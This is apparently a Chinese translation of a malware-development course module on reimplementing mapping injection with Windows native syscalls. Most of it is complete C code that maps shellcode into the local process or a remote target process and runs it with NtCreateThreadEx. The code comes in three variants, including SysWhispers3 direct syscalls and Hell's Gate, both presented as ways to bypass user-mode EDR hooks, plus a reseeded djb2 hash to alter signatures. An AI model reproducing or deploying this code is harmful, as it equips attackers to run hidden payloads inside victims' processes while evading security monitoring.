68-系统调用——重新实现映射注入
导言
在此模块中,前面讨论的映射注入技术将使用直接 syscall 实现,用其等效的 syscall 替换 WinAPI。
CreateFileMapping
替换为 NtCreateSectionMapViewOfFile
替换为 NtMapViewOfSectionCloseHandle
替换为NtClose
UnmapViewOfFile
替换为 NtUnmapViewOfSection
系统调用参数
本部分将讲解所用的系统调用及其参数。
NtCreateSection
这是 WinAPI 中 CreateFileMapping
对应的系统调用。NtCreateSection
如下所示:
NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // 指向接收节对象句柄的 HANDLE 变量的指针
IN ACCESS_MASK DesiredAccess, // 节句柄的访问权限类型
IN POBJECT_ATTRIBUTES ObjectAttributes, // 指向 OBJECT_ATTRIBUTES 结构的指针(设为 NULL)
IN PLARGE_INTEGER MaximumSize, // 节的最大大小
IN ULONG SectionPageProtection, // 放在节中每一页上的保护
IN ULONG AllocationAttributes, // 该节的分配属性 (SEC_XXX 标志)
IN HANDLE FileHandle // 可选地指定一个打开文件对象的句柄(设为 NULL)
);
虽然 NtCreateSection
和 CreateFileMapping
有很多相似之处,但有些参数是新的。首先,DesiredAccess
参数描述了节句柄的访问权限类型。选项列表如下所示:
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/syscall-mapping-114492060-65bb4d32-e61b-4489-b768-f4ef6629282c.png)
在本模块中,SECTION_ALL_ACCESS
或 SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE
就足够了。
其次,MaximumSize
参数是指向 LARGE_INTEGER 结构的指针。唯一需要填充的元素是 LowPart
元素,其将等于有效载荷的大小。LARGE_INTEGER
结构如下所示:
typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;
最后,AllocationAttributes
参数指定一个 SEC_XXX
标志的位掩码,该位掩码确定该节的分配属性。可以在 此处 在 flProtect
参数下找到标志列表。在本模块中,此参数将设置为 SEC_COMMIT
。
NtMapViewOfSection
这是 MapViewOfFile
WinAPI 的底层系统调用。NtMapViewOfSection
如下所示:
NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // 指向由 'NtCreateSection' 创建的 Section Object 的 HANDLE
IN HANDLE ProcessHandle, // 将该视图映射到的进程的进程句柄
IN OUT PVOID *BaseAddress, // 指向 PVOID 变量的指针,该指针接收视图的基地址
IN ULONG ZeroBits, // 设置为 NULL
IN SIZE_T CommitSize, // 设置为 NULL
IN OUT PLARGE_INTEGER SectionOffset, // 设置为 NULL
IN OUT PSIZE_T ViewSize, // 指向 SIZE_T 变量的指针,该指针包含要分配的内存大小
IN SECTION_INHERIT InheritDisposition, // 如何将视图与子进程共享
IN ULONG AllocationType, // 要执行的分配类型(设置为 NULL)
IN ULONG Protect // 分配的内存区域的保护
);
有关每个参数的更多文档,请参阅 Microsoft 在 ZwMapViewOfSection 上的文档。如果 Microsoft 缺少对该系统调用的 Nt
文档,可以使用 Zw
文档。
需要讨论一下以下参数:
首先, ViewSize 参数向上舍入到页大小的最近倍数(请记住,页面大小为 4096
字节)。
接下来,InheritDisposition 参数是从 SECTION_INHERIT
枚举中派生的。它可以设置为两个值之一
ViewShare
将视图映射到未来创建的任何子进程中。ViewUnmap
不会将视图映射到任何子进程中。
SECTION_INHERIT
枚举如下所示:
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
在本模块中,该值始终为 ViewUnmap
,因为实现不会创建任何子进程。
最后,Protect
参数指定分配的内存的保护类型,它可以是 此处 找到的任何值。
NtUnmapViewOfSection
这是 UnmapViewOfFile
WinAPI 的系统调用结果。NtUnmapViewOfSection
如下所示。
NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // 包含要取消映射的视图的进程句柄
IN PVOID BaseAddress // 要取消映射的视图的基地址
);
NtClose
这是 WinAPI CloseHandle
生成的系统调用。NtClose 如下所示:
NTSTATUS NtClose(
IN HANDLE ObjectHandle // 要关闭的对象的句柄
);
NtClose 系统调用将用于关闭使用 NtCreateSection
创建的节的句柄。
使用 GetProcAddress
和 GetModuleHandle
实现
下一步是使用前面展示的系统调用实现映射注入技术。跟前一个模块类似,将使用三种方法展示,首先从使用 GetProcAddress
和 GetModuleHandle
开始。
创建了一个 Syscall
结构并使用 InitializeSyscallStruct
初始化,其中保持了所用系统调用的地址,如下所示。
// 一个用于保持所用系统调用的结构
typedef struct _Syscall {
fnNtCreateSection pNtCreateSection;
fnNtMapViewOfSection pNtMapViewOfSection;
fnUnmapViewOfSection pNtUnmapViewOfSection;
fnNtClose pNtClose;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
// 用于填充输入的“St”结构的函数
BOOL InitializeSyscallStruct(OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
return FALSE;
}
St->pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
St->pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
St->pNtUnmapViewOfSection = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
St->pNtClose = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// 检查 GetProcAddress 是否遗漏了系统调用
if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
LocalMappingInjectionViaSyscalls
和 RemoteMappingInjectionViaSyscalls
函数分别负责将有效负载 (pPayload
) 注入到本地进程和远程进程(hProcess
)。这两个函数如下所示。
通过系统调用进行本地映射注入
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL; // 部分映射视图的句柄
HANDLE hThread = NULL; // 线程句柄
PVOID pAddress = NULL; // 映射内存的地址
NTSTATUS STATUS = NULL; // NTSTATUS 错误码
SIZE_T sViewSize = NULL; // 映射的内存大小
LARGE_INTEGER MaximumSize = { 0 }; // 用于映射视图的最大内存,这里等于 Payload 大小
MaximumSize.QuadPart = sPayloadSize;
Syscall St = { 0 }; // 定义 Syscall 结构体,用于保存系统调用地址
// 初始化 Syscall 结构体, 获取系统调用地址
if (!InitializeSyscallStruct(&St)) {
printf("[!] 初始化系统调用结构体失败\n");
return FALSE;
}
//--------------------------------------------------------------------------
// 分配本地映射视图
if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 失败,错误码:0x%0.8X\n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection 失败,错误码:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 分配映射地址:0x%p,大小:%d\n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// 写入 Payload
printf("[#] 回车写入 Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload 从 0x%p 复制到 0x%p\n", pPayload, pAddress);
//--------------------------------------------------------------------------
// 通过创建线程执行 Payload
printf("[#] 回车运行 Payload ... ");
getchar();
printf("\t[i] 运行线程入口:0x%p ... ", pAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误码:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 完成\n");
printf("\t[+] 创建线程,线程 ID:%d\n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 卸载本地视图 - 仅当 Payload 执行完成后才进行卸载
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection 失败,错误码:0x%0.8X\n", STATUS);
return FALSE;
}
// 关闭部分句柄
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose 部分句柄失败,错误码:0x%0.8X\n", STATUS);
return FALSE;
}
return TRUE;
}
通过系统调用远程注入
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
Syscall St = { 0 };
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
//--------------------------------------------------------------------------
// 分配本地映射视图
if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// 编写有效载荷
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// 分配远程映射视图
if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// 通过创建线程执行有效载荷
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 取消映射本地视图 - 仅在有效载荷执行完毕后
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// 关闭段句柄
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
NtUnmapViewOfSection
函数应仅在有效载荷执行完毕后执行。当有效载荷仍在运行时尝试取消映射的本地视图会中断有效载荷执行或导致进程崩溃。作为一种替代方法,可以使用 NtWaitForSingleObject 系统调用等待线程完成,之后可以执行 NtUnmapViewOfSection
系统调用来清理映射的有效载荷,但这将留给读者练习。 使用 SysWhispers 实现
这里的实现使用 SysWhispers3 通过直接系统调用绕过用户空间钩子。使用以下命令生成此实现所需的文件。
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*
生成了三个文件:SysWhispers.h
、SysWhispers.c
和 SysWhispers-asm.x64.asm
。下一步是在 Visual Studio 中导入这些文件,如前一个模块中所示。LocalMappingInjectionViaSyscalls
和 RemoteMappingInjectionViaSyscalls
如下所示。 通过系统调用实现本地映射注入
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL; // 内存节句句柄
HANDLE hThread = NULL; // 线程句柄
PVOID pAddress = NULL; // 映射地址
NTSTATUS STATUS = NULL; // NTSTATUS 返回值
SIZE_T sViewSize = NULL; // 映射大小
LARGE_INTEGER MaximumSize = { // 最大大小
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// 分配本地映射视图
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 失败,错误代码:0x%0.8X\n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection 失败,错误代码:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 分配地址:0x%p,大小:%d\n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// 写入 payload
printf("[#] 按下 <Enter> 写入 payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] payload 从 0x%p 复制到 0x%p\n", pPayload, pAddress);
//--------------------------------------------------------------------------
// 通过创建线程执行 payload
printf("[#] 按下 <Enter> 运行 payload ... ");
getchar();
printf("\t[i] 运行入口为 0x%p 的线程 ... ", pAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 完成\n");
printf("\t[+] 创建了线程,ID:%d\n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 取消映射本地视图 - 仅在 payload 执行完成后
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection 失败,错误代码:0x%0.8X\n", STATUS);
return FALSE;
}
// 关闭节句句柄
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose 失败,错误代码:0x%0.8X\n", STATUS);
return FALSE;
}
return TRUE;
}
通过系统调用进行远程映射注入
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL; // 部分映射
HANDLE hThread = NULL; // 线程句柄
PVOID pLocalAddress = NULL, // 本地地址
pRemoteAddress = NULL; // 远程地址
NTSTATUS STATUS = NULL; // NT 状态码
SIZE_T sViewSize = NULL; // 视图大小
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// 分配本地映射视图
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 出错:0x%0.8X\n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] 出错:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 已在 0x%p 分配了 %d 字节的本地内存\n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// 编写有效载荷
printf("[#] 按 <Enter> 写入有效载荷... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] 有效载荷已从 0x%p 复制到 0x%p\n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// 分配远程映射视图
if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] 出错:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 已在 0x%p 分配了 %d 字节的远程内存\n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// 通过创建线程执行有效载荷
printf("[#] 按 <Enter> 运行有效载荷... ");
getchar();
printf("\t[i] 正在运行入口点为 0x%p 的线程... ", pRemoteAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 出错:0x%0.8X\n", STATUS);
return FALSE;
}
printf("[+] 完成\n");
printf("\t[+] 已创建线程,其 ID 为:%d\n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 仅在有效载荷执行完毕后才取消映射本地视图
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection 出错:0x%0.8X\n", STATUS);
return FALSE;
}
// 关闭节句柄
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose 出错:0x%0.8X\n", STATUS);
return FALSE;
}
return TRUE;
}
使用 Hell's Gate 实现
该模块的最后一种实现方式是使用 Hell's Gate。首先,确保针对使用 SysWhispers3 设置 Visual Studio 项目时所做的相同步骤在此处也已完成。具体而言,启用 MASM 以及修改属性以设置 ASM 文件以使用 Microsoft 宏汇编器进行编译。
更新 VX_TABLE 结构
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtCreateSection; // 创建节区
VX_TABLE_ENTRY NtMapViewOfSection; // 从节区中映射视图
VX_TABLE_ENTRY NtUnmapViewOfSection; // 取消从节区中映射视图
VX_TABLE_ENTRY NtClose; // 关闭句柄
VX_TABLE_ENTRY NtCreateThreadEx; // 创建线程
} VX_TABLE, * PVX_TABLE;
更新初始值
将使用新的初始值替换旧初始值,以便更改系统调用的哈希值。djb2 哈希函数已采用以下新初始值进行更新。
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // 旧值:0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
应将以下 printf
语句添加到新项目中,以生成 djb2 哈希值。
printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
生成值后,将它们添加到 Hell's Gate 项目的开头。
#define NtCreateSection_djb2 0x5687F81AC5D1497A
#define NtMapViewOfSection_djb2 0x0778E82F702E79D4
#define NtUnmapViewOfSection_djb2 0x0BF2A46A27B93797
#define NtClose_djb2 0x0DA4FA80EF5031E7
#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
更新主函数
主函数必须更新为使用 LocalMappingInjectionViaSyscalls
或 RemoteMappingInjectionViaSyscalls
, 而不用 payload 函数。该函数将使用上述生成哈希值,如下所示。
通过系统调用进行局部映射注入
BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// 分配本地映射视图
HellsGate(pVxTable->NtCreateSection.wSystemCall); // 建立地狱之门
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 分配了地址 0x%p,大小 %ld \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// 写入 Payload
printf("[#] 按 <Enter> 写入 Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload 已从 0x%p 复制到 0x%p \n", pPayload, pAddress);
printf("[#] 按 <Enter> 运行 Payload ... ");
getchar();
//--------------------------------------------------------------------------
// 通过创建线程执行 Payload
printf("\t[i] 正在运行入口点为 0x%p 的线程 ... ", pAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 完成 \n");
printf("\t[+] 已创建线程,线程 ID:%d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 取消映射本地视图 - 仅在 Payload 执行完毕后
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
// 关闭区段句柄
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
通过系统调用进行远程映射注入
BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// 分配本地映射视图
HellsGate(pVxTable->NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 本地内存已分配,地址:0x%p,大小:%d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// 写入有效负载
printf("[#] 按下 <Enter> 键写入有效负载 ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] 有效负载已从 0x%p 复制到 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// 分配远程映射视图
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 远程内存已分配,地址:0x%p,大小:%d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// 通过创建线程执行有效负载
printf("[#] 按下 <Enter> 键运行有效负载 ... ");
getchar();
printf("\t[i] 正在运行入口点为 0x%p 的线程 ... ", pRemoteAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 完成 \n");
printf("\t[+] 创建的线程 ID 为:%d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// 只有当有效负载执行完成后才解除映射本地视图
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
// 关闭句柄
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose 失败,错误码:0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
本地注入与远程注入
与之前的模块类似,如果定义了 LOCAL_INJECTION
,则构建一个预处理程序宏代码以针对本地进程。预处理程序代码如下所示。
#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// 设置目标进程 PID
#define PROCESS_ID 18784
#endif // !LOCAL_INJECTION
演示
本地使用 SysWhispers 实现。
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/syscall-mapping-214533288-cc53802f-345d-4eb3-896a-fb4d7dc61b27.png)
远程使用 SysWhispers 实现。
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/syscall-mapping-314533763-efe02370-e08e-4d13-9c4c-884931855bdc.png)
本地使用 Hell's Gate 实现。
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/syscall-mapping-414534077-da2c3b3e-fcac-4691-9e1e-261b6380e7cb.png)
远程使用 Hell's Gate 实现。
![image](https://maldevacademy.s3.amazonaws.com/images/Intermediate/syscall-mapping-514534407-34d19c71-70d1-4669-99c0-6b3ce6a64d9e.png)